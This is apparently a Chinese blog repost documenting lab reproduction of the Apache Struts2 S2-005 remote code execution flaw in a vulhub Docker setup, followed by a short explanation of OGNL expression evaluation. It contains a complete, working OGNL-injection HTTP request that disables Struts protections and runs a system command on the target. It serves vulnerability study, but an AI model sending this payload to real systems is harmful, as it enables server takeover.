S2-005 远程代码执行漏洞

影响版本

2.0.0 ~ 2.1.8.1

 

环境搭建

cd vulhub/struts2/s2-005

docker-compose build && docker-compose up -d

漏洞复现

发生数据包包

GET /example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%[email protected]@getRuntime()))=1 HTTP/1.1
Host: target:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36

Success成功建立

POC用到了OGNL的Expression Evaluation:

大概可以理解为,(aaa)(bbb)中aaa作为OGNL表达式字符串,bbb作为该表达式的root对象,所以一般aaa位置如果需要执行代码,需要用引号包裹起来,而bbb位置可以直接放置Java语句。(aaa)(bbb)=true实际上就是aaa=true。

猜你喜欢

转载自blog.csdn.net/xuandao_ahfengren/article/details/106984993